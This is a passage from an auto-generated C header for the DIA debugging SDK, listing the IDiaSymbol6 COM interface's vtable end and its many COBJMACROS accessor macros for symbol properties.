*pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol6Vtbl;\n\n    interface IDiaSymbol6\n    {\n        CONST_VTBL struct IDiaSymbol6Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol6_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol6_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol6_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol6_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol6_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol6_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol6_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol6_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol6_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol6_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol6_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol6_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol6_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol6_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol6_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol6_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol6_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol6_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol6_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol6_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol6_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol6_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol6_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol6_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol6_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol6_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol6_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol6_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol6_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol6_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol6_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol6_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol6_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol6_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol6_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol6_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol6_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol6_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol6_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol6_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol6_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol6_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol6_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol6_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol6_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol6_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol6_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol6_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol6_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol6_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol6_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol6_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol6_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol6_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol6_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol6_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol6_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol6_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol6_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol6_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol6_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol6_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol6_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol6_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol6_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol6_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol6_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol6_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol6_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol6_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol6_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol6_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol6_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol6_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol6_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol6_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol6_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol6_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol6_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol6_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol6_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol6_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol6_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol6_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol6_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol6_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol6_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol6_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol6_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol6_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol6_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol6_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol6_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol6_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol6_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol6_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol6_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol6_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol6_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol6_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol6_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol6_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol6_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define 